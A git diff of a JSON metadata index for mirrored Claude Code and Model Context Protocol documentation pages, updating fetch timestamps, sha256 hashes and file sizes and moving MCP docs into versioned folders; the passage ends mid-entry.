diff --git a/content/.metadata.json b/content/.metadata.json
index d84808e0c..f399e0d36 100644
--- a/content/.metadata.json
+++ b/content/.metadata.json
@@ -1,7 +1,7 @@
{
"metadata": {
"version": "2.0",
- "fetch_date": "2026-07-28T12:28:59.663111Z",
+ "fetch_date": "2026-07-28T17:15:59.786504Z",
"section": "all"
},
"items": [
@@ -3859,8 +3859,8 @@
"url": "https://code.claude.com/docs/en/admin-setup",
"status": "success",
"path": "en/docs/claude-code/admin-setup.md",
- "sha256": "8a258d966111c547a29265bc71fcc518add3eea18fdfb9facbf6aafbaa569811",
- "size": 34531
+ "sha256": "6ff652eb462da2452b1097aef4bbd2acde4f822393dd9d1f16862f30a5d653ba",
+ "size": 34637
},
{
"url": "https://code.claude.com/docs/en/advisor",
@@ -3936,8 +3936,8 @@
"url": "https://code.claude.com/docs/en/agent-sdk/modifying-system-prompts",
"status": "success",
"path": "en/docs/claude-code/agent-sdk/modifying-system-prompts.md",
- "sha256": "99eed2b8e57e645c5ce12fd537d6e637209827cb452678cc1c472c6bb3aed0c6",
- "size": 24079
+ "sha256": "91f01b277dfae82d074c9491b9f6c43258815e06979a067764a996e1902db954",
+ "size": 24630
},
{
"url": "https://code.claude.com/docs/en/agent-sdk/observability",
@@ -4006,8 +4006,8 @@
"url": "https://code.claude.com/docs/en/agent-sdk/skills",
"status": "success",
"path": "en/docs/claude-code/agent-sdk/skills.md",
- "sha256": "4cebd3d4713c08ed1853246151a06e4234271266634043a44c62a942b03db6ad",
- "size": 12663
+ "sha256": "4fdab3a401743723ea42cfe189d79fa95173b23ae2a9d05199f18331fe1a7234",
+ "size": 12822
},
{
"url": "https://code.claude.com/docs/en/agent-sdk/slash-commands",
@@ -4223,8 +4223,8 @@
"url": "https://code.claude.com/docs/en/claude-code-on-the-web",
"status": "success",
"path": "en/docs/claude-code/claude-code-on-the-web.md",
- "sha256": "660ab810633df5a24bed05ef5ac205fb614030bfea26c891cb2c758b3848f3cf",
- "size": 65867
+ "sha256": "89b25aab64f200a2dc45a309105cc20375e4e605ab03f84d48b7a860a62d8e93",
+ "size": 29344
},
{
"url": "https://code.claude.com/docs/en/claude-directory",
@@ -4244,8 +4244,8 @@
"url": "https://code.claude.com/docs/en/claude-security",
"status": "success",
"path": "en/docs/claude-code/claude-security.md",
- "sha256": "6f9752ae970fb50f74980b86e1c88c97fb921355bc6b143d209ceb4948ffde2a",
- "size": 13078
+ "sha256": "0743d991ec5ce85a4e6f5ae73eecc60e5ffda2fd45083e4aa0663823adbc7b08",
+ "size": 13391
},
{
"url": "https://code.claude.com/docs/en/cli-reference",
@@ -4254,6 +4254,13 @@
"sha256": "3a67f5a580b20bd31d0d2dfe728d1966d7d22111e3fb92b64cd83627ba6feffc",
"size": 104140
},
+ {
+ "url": "https://code.claude.com/docs/en/cloud-environments",
+ "status": "success",
+ "path": "en/docs/claude-code/cloud-environments.md",
+ "sha256": "6c59d64b4bfd8242a21e40c41f64996339c9f692328135129e74c3cc730864ed",
+ "size": 48182
+ },
{
"url": "https://code.claude.com/docs/en/code-review",
"status": "success",
@@ -4265,7 +4272,7 @@
"url": "https://code.claude.com/docs/en/commands",
"status": "success",
"path": "en/docs/claude-code/commands.md",
- "sha256": "9986111c1480c39b7fa74c85ed112d68bc1153424bc4ac1f6df919df567a89ab",
+ "sha256": "da1b533511bae6fac477468d0da5609756261cad44b25e424e699b85129efd09",
"size": 185368
},
{
@@ -4314,8 +4321,8 @@
"url": "https://code.claude.com/docs/en/data-usage",
"status": "success",
"path": "en/docs/claude-code/data-usage.md",
- "sha256": "716ab8bb72232372eaf66b1e7fd2b725f6fa4ca2bf55415842e89929772dcc7e",
- "size": 20159
+ "sha256": "4249b31c7f30f958d941502f0294f1e6c6775a9ada2a5eb4ea9cb8cad596b235",
+ "size": 20155
},
{
"url": "https://code.claude.com/docs/en/debug-your-config",
@@ -4335,8 +4342,8 @@
"url": "https://code.claude.com/docs/en/desktop",
"status": "success",
"path": "en/docs/claude-code/desktop.md",
- "sha256": "5192e5314a779efc48329fb1547001b33fec821203ca5cf1e1bd33c2cfc931f0",
- "size": 90192
+ "sha256": "a551d06b0d1a245efc8a9cca27e52aa2b37dc065f3f94e43438098205c85bf17",
+ "size": 90174
},
{
"url": "https://code.claude.com/docs/en/desktop-ios-simulator",
@@ -4384,22 +4391,22 @@
"url": "https://code.claude.com/docs/en/discover-plugins",
"status": "success",
"path": "en/docs/claude-code/discover-plugins.md",
- "sha256": "26886c4d4253e15510a59ef269d0bb102e6290851789b628f8e7dde926367c49",
- "size": 27464
+ "sha256": "8b9ade6277fb695f701634ab59fd9e90a5f3fae4cc64a4d5580352817856070d",
+ "size": 28369
},
{
"url": "https://code.claude.com/docs/en/env-vars",
"status": "success",
"path": "en/docs/claude-code/env-vars.md",
- "sha256": "4f4ff60363aee08ccb03bf8aa37f58d986cd4470d777a1669f9e054ce8930bf0",
- "size": 332870
+ "sha256": "7495c8d612ea11275b5bc4c0249a0532c9a73be466e0f969864812c912d90709",
+ "size": 332890
},
{
"url": "https://code.claude.com/docs/en/errors",
"status": "success",
"path": "en/docs/claude-code/errors.md",
- "sha256": "d6550ae32cd96a67cb6f67a0e5bcfc28ced754fa1649afcd1a277ac44f94aa27",
- "size": 148987
+ "sha256": "a6e478617be9c2531e014759b14869e57e0d378c895eaa1aac68ef4d64615740",
+ "size": 149213
},
{
"url": "https://code.claude.com/docs/en/fast-mode",
@@ -4461,8 +4468,8 @@
"url": "https://code.claude.com/docs/en/glossary",
"status": "success",
"path": "en/docs/claude-code/glossary.md",
- "sha256": "7124719893dffc0f6e837ffb097ed66f3abbda98760de2f0a01731e4d3db098c",
- "size": 22940
+ "sha256": "87b7f7f21082352a55b793264f8e07702cdf6dcc69eefbd99a656effde63d676",
+ "size": 22933
},
{
"url": "https://code.claude.com/docs/en/goal",
@@ -4608,8 +4615,8 @@
"url": "https://code.claude.com/docs/en/mobile",
"status": "success",
"path": "en/docs/claude-code/mobile.md",
- "sha256": "356cb30546e3cd38167e4a69670c131c2ac9fc301a80751607b24f68189eafb5",
- "size": 8510
+ "sha256": "faa0d27eb171663f1c243fa29a9fbee211d5b00d363b1b97a55c3378bd0b2c98",
+ "size": 8638
},
{
"url": "https://code.claude.com/docs/en/model-config",
@@ -4650,8 +4657,8 @@
"url": "https://code.claude.com/docs/en/permission-modes",
"status": "success",
"path": "en/docs/claude-code/permission-modes.md",
- "sha256": "ccb0ba68fa85e1774f5074821772921956ed10249ff4602088983184f4c932e8",
- "size": 50066
+ "sha256": "a681c29797c2131ce8bc8598e3fedb6fc436b5694019a1dd355f257b2a1fb691",
+ "size": 50058
},
{
"url": "https://code.claude.com/docs/en/permissions",
@@ -4685,29 +4692,29 @@
"url": "https://code.claude.com/docs/en/plugin-marketplaces",
"status": "success",
"path": "en/docs/claude-code/plugin-marketplaces.md",
- "sha256": "ba170944ebfaffed2546f18950d01ac207819c29e6bd58ea82a07a3cb2752209",
- "size": 72589
+ "sha256": "bdedcb01831a1bbf30bb74e7afeed9ddde687b0c92d25cfc91ea014a2cd04895",
+ "size": 72624
},
{
"url": "https://code.claude.com/docs/en/plugin-relevance",
"status": "success",
"path": "en/docs/claude-code/plugin-relevance.md",
- "sha256": "0920d33f7d634ca0f88bc7d5761e04f0aba45966afb97093593fd8df5f62d32b",
- "size": 16226
+ "sha256": "f62ab788e25840458ab33b9fe3be525abfe36487998dc84876eb53cfbd04d7bc",
+ "size": 16314
},
{
"url": "https://code.claude.com/docs/en/plugins",
"status": "success",
"path": "en/docs/claude-code/plugins.md",
- "sha256": "73f85ab77e79b493e8f1f37fdc0b83b98d23d5c6bbff4ff4d74fe181f54ff444",
- "size": 26244
+ "sha256": "e97b47470c911b6952aea072b5963835af48fe1839d53ae55e35605fc317e914",
+ "size": 27039
},
{
"url": "https://code.claude.com/docs/en/plugins-reference",
"status": "success",
"path": "en/docs/claude-code/plugins-reference.md",
- "sha256": "df544abbc48214a4ad46d6d2fa4e7a9a02a30cbcf941a13416483a588dfbc46b",
- "size": 89666
+ "sha256": "de627123349a9ae7e96089569fc532f8c1dd7aa96f960284a18a7086ea552442",
+ "size": 90234
},
{
"url": "https://code.claude.com/docs/en/prompt-caching",
@@ -4734,15 +4741,15 @@
"url": "https://code.claude.com/docs/en/remote-control",
"status": "success",
"path": "en/docs/claude-code/remote-control.md",
- "sha256": "9aee6ddbeee75bc84e8b769ee09446aa5c35fee99036ab78a40018e202eb0d14",
- "size": 40663
+ "sha256": "b5963d31991f907985fec3199f54291e6cb4b3b079efa8d839cff268588f7cf8",
+ "size": 41369
},
{
"url": "https://code.claude.com/docs/en/routines",
"status": "success",
"path": "en/docs/claude-code/routines.md",
- "sha256": "dafa0fb2fbac921ea30888fa83235870ff274f191312e6390d2890950b616c77",
- "size": 31919
+ "sha256": "1bfbe8561ac151a651ae79920df7cc8e890d8672c8fd8933c161249162f08851",
+ "size": 32055
},
{
"url": "https://code.claude.com/docs/en/sandbox-environments",
@@ -4769,8 +4776,8 @@
"url": "https://code.claude.com/docs/en/security",
"status": "success",
"path": "en/docs/claude-code/security.md",
- "sha256": "15a3393a1af5d6e640beac172e0831058c4150ed29a0f2911e0137415980daaa",
- "size": 11152
+ "sha256": "173bbec3c7b9870026c26440a712b637cd7615f1f9e2614a16db10c66122a54f",
+ "size": 11258
},
{
"url": "https://code.claude.com/docs/en/security-guidance",
@@ -4797,8 +4804,8 @@
"url": "https://code.claude.com/docs/en/settings",
"status": "success",
"path": "en/docs/claude-code/settings.md",
- "sha256": "0b7a644f1232111debfd6136208806368ddc7c40e077862e24c5b5f430a52e7f",
- "size": 268663
+ "sha256": "48994b0ac72e18586bca8d9f041119d720bac9fdcb618b7f9b9bac1503e29059",
+ "size": 269940
},
{
"url": "https://code.claude.com/docs/en/setup",
@@ -4811,8 +4818,8 @@
"url": "https://code.claude.com/docs/en/skills",
"status": "success",
"path": "en/docs/claude-code/skills.md",
- "sha256": "868916e08681720a85c5643f1444dbb85b987772854e17d094775767939a30ad",
- "size": 72905
+ "sha256": "d367eefbfb5bf84a7697acf07d7ff18e47ca8e2dd660b1825706b77b5785e9ec",
+ "size": 72906
},
{
"url": "https://code.claude.com/docs/en/slack",
@@ -4874,8 +4881,8 @@
"url": "https://code.claude.com/docs/en/ultraplan",
"status": "success",
"path": "en/docs/claude-code/ultraplan.md",
- "sha256": "86f52e8cf34071ba765580433b9b570011ab44375e7ce45b4006467cd42b3c33",
- "size": 6192
+ "sha256": "691e36836e2a58c240e70a265f84e593a92d275d7ebb4272551a042159e9a3af",
+ "size": 6294
},
{
"url": "https://code.claude.com/docs/en/ultrareview",
@@ -4902,8 +4909,8 @@
"url": "https://code.claude.com/docs/en/web-quickstart",
"status": "success",
"path": "en/docs/claude-code/web-quickstart.md",
- "sha256": "830305638102f760ed200ec85f22b99aab24119a470c462ea1ab15b0ed3bfc77",
- "size": 19515
+ "sha256": "cbc41fdfaa1e9a1eefaf65d78ae27b06c6b7e24b0b602568bcce27181926980f",
+ "size": 19073
},
{
"url": "https://code.claude.com/docs/en/whats-new/2026-w13",
@@ -5091,8 +5098,8 @@
"url": "https://modelcontextprotocol.io/community/design-principles",
"status": "success",
"path": "mcp/community/design-principles.md",
- "sha256": "fd88f54d8ac8159393d3a90a36b7400c2d3b35b78dff0e9ccb64f5a027021876",
- "size": 4031
+ "sha256": "45cd73d34b4a84904d8fdf4ce003e84de56ced133066c7304027bb50871e2884",
+ "size": 4064
},
{
"url": "https://modelcontextprotocol.io/community/feature-lifecycle",
@@ -5154,8 +5161,8 @@
"url": "https://modelcontextprotocol.io/community/sdk-tiers",
"status": "success",
"path": "mcp/community/sdk-tiers.md",
- "sha256": "e4d5036afc1fb64b2db109b568ada93527e00ef3633c9c6f9fdbba59534cfc3c",
- "size": 8721
+ "sha256": "7daa1e0bb660fbfba32a533c193095cd00c0dcc821580e62a97e580f457ad1d8",
+ "size": 8715
},
{
"url": "https://modelcontextprotocol.io/community/security",
@@ -5238,120 +5245,680 @@
"url": "https://modelcontextprotocol.io/development/roadmap",
"status": "success",
"path": "mcp/development/roadmap.md",
- "sha256": "61d08aaa113b333fc32ce41e19545da839501a99c0a894cee1c469ade4977f25",
- "size": 9031
+ "sha256": "b28c2423669d434c87da72dc55292d6fee9f9712a5b92b58fd6fff6117626fc6",
+ "size": 9029
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/develop/build-client",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/develop/build-client.md",
+ "sha256": "507bb67cac05a7c2f249136391cba53b9fdae636202e602323b5720b22b81f94",
+ "size": 79528
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/develop/build-server",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/develop/build-server.md",
+ "sha256": "7da3cb1426fdb780568d493d000b20bce9c3d8ad1ba66a5142c57c9697ab6836",
+ "size": 97349
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/develop/build-with-agent-skills",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/develop/build-with-agent-skills.md",
+ "sha256": "07f1cf43a97a6bc346ee8c0887480932b8cb4a548d8963b9a58a007495a18fc1",
+ "size": 4976
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/develop/clients/client-best-practices",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/develop/clients/client-best-practices.md",
+ "sha256": "8f61f23edc73cd2ed1e91c56a74ef2bb778a61b89bf95fa8571c743b8205e69a",
+ "size": 20113
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/develop/connect-local-servers",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/develop/connect-local-servers.md",
+ "sha256": "2656f31efc6fe4c774e2fc266230137516ef8a9970522354aa4aeab9a70d0940",
+ "size": 13933
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/develop/connect-remote-servers",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/develop/connect-remote-servers.md",
+ "sha256": "15b413da7f950c38bb084c692b239576e9d1db380ba5e13046152f36ec1facde",
+ "size": 9578
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/getting-started/intro",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/getting-started/intro.md",
+ "sha256": "ec09837c12093f98557e42993202c26d5e6c651ca041f1001d56e3ad1faec7fd",
+ "size": 3250
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/learn/architecture",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/learn/architecture.md",
+ "sha256": "f8135b49ffd9e821bbadc7ff448152ba1739aad2db7fe225b3c9c5e2d4ee5b3a",
+ "size": 25319
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/learn/client-concepts",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/learn/client-concepts.md",
+ "sha256": "396c7759812c0988499e7ced51fa4438f25548a501ac1ea99c6075df9bf6cc20",
+ "size": 10292
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/learn/server-concepts",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/learn/server-concepts.md",
+ "sha256": "ef2f64a210b8306f1d0a3d495197770d54d3791e125757e8d0b18d567d081315",
+ "size": 14684
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/learn/versioning",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/learn/versioning.md",
+ "sha256": "779e10f7ec9b0a903bcd70c9866aecaf2761d243b4e889943693c4fefdb279de",
+ "size": 2091
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/sdk",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/sdk.md",
+ "sha256": "a10d76f1f8604ef30e91f623d60c36823b35ea3565ddbba04b22335bf1a04a44",
+ "size": 4364
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/tools/debugging",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/tools/debugging.md",
+ "sha256": "a97b44ce84f026239e5240b46ffa80e6754333eb996dd5dbba5ed5ad1621574e",
+ "size": 10038
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/tools/inspector",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/tools/inspector.md",
+ "sha256": "6f3219ca450658ed133ac088f2f8786a3142349eeccfab16e7cc6cd23d7a0e65",
+ "size": 4246
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/tutorials/security/authorization",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/tutorials/security/authorization.md",
+ "sha256": "cfbd63df67035372a679e0d124e254080577f17b0204fed75b7f58a76f1b493c",
+ "size": 47690
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2024-11-05/tutorials/security/security_best_practices",
+ "status": "success",
+ "path": "mcp/docs/2024-11-05/tutorials/security/security_best_practices.md",
+ "sha256": "700b837a513ff8b1d988d6273a2deec59ae5740252e47755698916d91e84b409",
+ "size": 36999
},
{
- "url": "https://modelcontextprotocol.io/docs/develop/build-client",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/develop/build-client",
"status": "success",
- "path": "mcp/docs/develop/build-client.md",
- "sha256": "1ac1d89ca7403288df280d86f157001f966e23dccfc9850c346c616abf9db828",
- "size": 80021
+ "path": "mcp/docs/2025-03-26/develop/build-client.md",
+ "sha256": "6905f120fbdacc7c05bd000e28f552484a55daf2ad366ea3b27de2bcb8c98132",
+ "size": 79528
},
{
- "url": "https://modelcontextprotocol.io/docs/develop/build-server",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/develop/build-server",
"status": "success",
- "path": "mcp/docs/develop/build-server.md",
- "sha256": "070a93f998a3a06c476b3fac56565c17c5ee1be410dd909ab29fd176128b7885",
- "size": 97188
+ "path": "mcp/docs/2025-03-26/develop/build-server.md",
+ "sha256": "43c71459073fac744d320f15e896ef59d952e0635662027cffd75a409ef6dfa5",
+ "size": 97349
},
{
- "url": "https://modelcontextprotocol.io/docs/develop/build-with-agent-skills",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/develop/build-with-agent-skills",
"status": "success",
- "path": "mcp/docs/develop/build-with-agent-skills.md",
- "sha256": "8d110eeaddd07100f906f52f01067ada62add6914651b96a0dad172edea3e22b",
- "size": 5087
+ "path": "mcp/docs/2025-03-26/develop/build-with-agent-skills.md",
+ "sha256": "33ed77b1b6a76196fd5c433e9273be0cf6e6968b1f2f289e59fae7bd76a49e40",
+ "size": 4980
},
{
- "url": "https://modelcontextprotocol.io/docs/develop/clients/client-best-practices",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/develop/clients/client-best-practices",
"status": "success",
- "path": "mcp/docs/develop/clients/client-best-practices.md",
- "sha256": "1881a84b19de1f4f10a1f087d5f593272628a5a9721643d942b2c7e88a0da84c",
- "size": 20218
+ "path": "mcp/docs/2025-03-26/develop/clients/client-best-practices.md",
+ "sha256": "cfa13edb6a349f309644d7053832f3ef703f92de3ecef73fecf102f8a1729bd4",
+ "size": 20113
},
{
- "url": "https://modelcontextprotocol.io/docs/develop/connect-local-servers",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/develop/connect-local-servers",
"status": "success",
- "path": "mcp/docs/develop/connect-local-servers.md",
- "sha256": "2137a4f5384a7ffe106ffb04edfd68cc452328f827d63c9049f716e15ea701ce",
- "size": 13911
+ "path": "mcp/docs/2025-03-26/develop/connect-local-servers.md",
+ "sha256": "6a0d6c5beadfdd1e07f5cf0c90a98cb150a6d049ec578c4d59dea50f4bc758d5",
+ "size": 13933
},
{
- "url": "https://modelcontextprotocol.io/docs/develop/connect-remote-servers",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/develop/connect-remote-servers",
"status": "success",
- "path": "mcp/docs/develop/connect-remote-servers.md",
- "sha256": "c2ad9f20fbee1a188097e53bec4cb56b8f8e26f01920b2f293bdffdead0931ac",
- "size": 10739
+ "path": "mcp/docs/2025-03-26/develop/connect-remote-servers.md",
+ "sha256": "6ce6b78a6826819a0383f4696d4b4e1f1dec0eda1b1c230543d98e042159ceed",
+ "size": 9578
},
{
- "url": "https://modelcontextprotocol.io/docs/getting-started/intro",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/getting-started/intro",
"status": "success",
- "path": "mcp/docs/getting-started/intro.md",
- "sha256": "afc7f8ed389983537c3e2cf56b817caa0b2050e931577ca3c2edfbee63df4330",
- "size": 3217
+ "path": "mcp/docs/2025-03-26/getting-started/intro.md",
+ "sha256": "efaaf8a3a3352ef805f56f1968e3fd00a353abcd1a9a8a7583fce0061b4b0c8b",
+ "size": 3250
},
{
- "url": "https://modelcontextprotocol.io/docs/learn/architecture",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/learn/architecture",
"status": "success",
- "path": "mcp/docs/learn/architecture.md",
- "sha256": "e0479803a8de8962c89f779b4ca221e5c08f19ed78831c3ab48f54cd2fc7022c",
- "size": 25791
+ "path": "mcp/docs/2025-03-26/learn/architecture.md",
+ "sha256": "b1173d8ea0df278cd92b7ff9d4f799d5340fc335ed4f26ac1e3f0daa48a168b5",
+ "size": 25491
},
{
- "url": "https://modelcontextprotocol.io/docs/learn/client-concepts",
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/learn/client-concepts",
"status": "success",
- "path": "mcp/docs/learn/client-concepts.md",
+ "path": "mcp/docs/2025-03-26/learn/client-concepts.md",
+ "sha256": "396c7759812c0988499e7ced51fa4438f25548a501ac1ea99c6075df9bf6cc20",
+ "size": 10292
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/learn/server-concepts",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/learn/server-concepts.md",
+ "sha256": "ef2f64a210b8306f1d0a3d495197770d54d3791e125757e8d0b18d567d081315",
+ "size": 14684
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/learn/versioning",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/learn/versioning.md",
+ "sha256": "f398f64ba31e53fa5a88a71b70021eb2cc81099f72960bdf47c069cab13a41db",
+ "size": 2091
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/sdk",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/sdk.md",
+ "sha256": "300a42628f7ae3f63123af7d34d3f0fc70e26688a67e1be3a5b266d6f4061e6e",
+ "size": 4364
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/tools/debugging",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/tools/debugging.md",
+ "sha256": "5e8768d38e218000722dc063ada8d2655a2fdd818d934faa481580f7c8c212ec",
+ "size": 10136
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/tools/inspector",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/tools/inspector.md",
+ "sha256": "2a1d4ffa9719f695895d233936d145220d0c057fef066aa8e4f4714bb95d5d38",
+ "size": 4246
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/tutorials/security/authorization",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/tutorials/security/authorization.md",
+ "sha256": "85247666c5655ee21dba4a82d05ff8cbaa52975b1749200948a2354b9219cb0d",
+ "size": 47690
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-03-26/tutorials/security/security_best_practices",
+ "status": "success",
+ "path": "mcp/docs/2025-03-26/tutorials/security/security_best_practices.md",
+ "sha256": "5bf3d634453379d1fecee44c43f34a4ba130caa75d1e121ff65e656bb49486bf",
+ "size": 37327
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/develop/build-client",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/develop/build-client.md",
+ "sha256": "4c24cbe188caac35061053796daed17f5424b723232821af9ec4b4ae75fbd47f",
+ "size": 79528
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/develop/build-server",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/develop/build-server.md",
+ "sha256": "e17217d8fe330123718d6bfab68562122932a2e3aaaf3fba074f3958f50ad63f",
+ "size": 97349
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/develop/build-with-agent-skills",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/develop/build-with-agent-skills.md",
+ "sha256": "bd0a227e98431d129f9c6133d407d9f01235b24b07420e09b3fb8d0eb18188f5",
+ "size": 5129
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/develop/clients/client-best-practices",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/develop/clients/client-best-practices.md",
+ "sha256": "d02be64236db54573686a3653eebf852f3037db596b221750fccedd3e4bd2419",
+ "size": 20244
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/develop/connect-local-servers",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/develop/connect-local-servers.md",
+ "sha256": "975403417896a91220760ca798a8ca25364107467d40e18b925b129de62c9b1e",
+ "size": 13933
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/develop/connect-remote-servers",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/develop/connect-remote-servers.md",
+ "sha256": "abd9296baac96a488a1d0dfb3c29777c438a9a548f87b76dfc8d4eb4c852111a",
+ "size": 9578
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/getting-started/intro",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/getting-started/intro.md",
+ "sha256": "b4447c78de26eadc9b8df8f196c9bcd9d345c8137860e15507ebd0a61f975286",
+ "size": 3250
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/learn/architecture",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/learn/architecture.md",
+ "sha256": "bbea908f4b2a320a2bccd6b8a1a1fc7eaee07c89bc7588e3637664bd23c4cb20",
+ "size": 25817
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/learn/client-concepts",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/learn/client-concepts.md",
"sha256": "115db3baac9f72af2b824fa4865ee8f7b58b679c9cb48985e6ad1bfda5268de1",
"size": 14553
},
{
- "url": "https://modelcontextprotocol.io/docs/learn/server-concepts",
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/learn/server-concepts",
"status": "success",
- "path": "mcp/docs/learn/server-concepts.md",
- "sha256": "b92012b6296794870047b463fb815b8966d0d8329bdfee90fb1203fe7164bcbb",
- "size": 14385
+ "path": "mcp/docs/2025-06-18/learn/server-concepts.md",
+ "sha256": "ef2f64a210b8306f1d0a3d495197770d54d3791e125757e8d0b18d567d081315",
+ "size": 14684
},
{
- "url": "https://modelcontextprotocol.io/docs/learn/versioning",
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/learn/versioning",
"status": "success",
- "path": "mcp/docs/learn/versioning.md",
- "sha256": "93b4d213b3fb9c2d39216fc0cfdd8380904bdaa655adba7a98f0e8a169907759",
- "size": 2210
+ "path": "mcp/docs/2025-06-18/learn/versioning.md",
+ "sha256": "d42ab16f20e8ef53b9f0d70bf5dcd76642ad5d6f83a625a9ae4571ce6246c0de",
+ "size": 2091
},
{
- "url": "https://modelcontextprotocol.io/docs/sdk",
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/sdk",
"status": "success",
- "path": "mcp/docs/sdk.md",
- "sha256": "74afe467617d4a35b9f476394d2fddd107cff9c102973c147fed06b96546a1cf",
- "size": 4342
+ "path": "mcp/docs/2025-06-18/sdk.md",
+ "sha256": "839f1fec7f4eb986a4335aa5103c6c87d6d62993a1bc85ab80eed9b481a440ca",
+ "size": 4364
},
{
- "url": "https://modelcontextprotocol.io/docs/tools/debugging",
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/tools/debugging",
"status": "success",
- "path": "mcp/docs/tools/debugging.md",
- "sha256": "fd4c991762022ec81ccb25bde86656a5fb52a07168371c36dc86486771d20d23",
- "size": 10028
+ "path": "mcp/docs/2025-06-18/tools/debugging.md",
+ "sha256": "89f9295a9022b92242a4e58e8b18d62ea66c41cc0bac27a179db5b419dafad56",
+ "size": 10202
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/tools/inspector",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/tools/inspector.md",
+ "sha256": "33b028d5013ae804125826174c8d1f49362b3928ceb2ee9773d40bf61311522d",
+ "size": 4246
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/tutorials/security/authorization",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/tutorials/security/authorization.md",
+ "sha256": "b7cf6b31da37d8d985273d7a4275ec3cc0c9c144680a2f99f676863e6f3145ec",
+ "size": 47690
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-06-18/tutorials/security/security_best_practices",
+ "status": "success",
+ "path": "mcp/docs/2025-06-18/tutorials/security/security_best_practices.md",
+ "sha256": "585350b7c111971e27425bb1483b953b0663e9fb1e08c144a0049947b01c7886",
+ "size": 37327
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/develop/build-client",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/develop/build-client.md",
+ "sha256": "7f6c37f3e7f283058af4f9441684b8e1350a91eef2222d8acf214e006c4c2234",
+ "size": 80042
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/develop/build-server",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/develop/build-server.md",
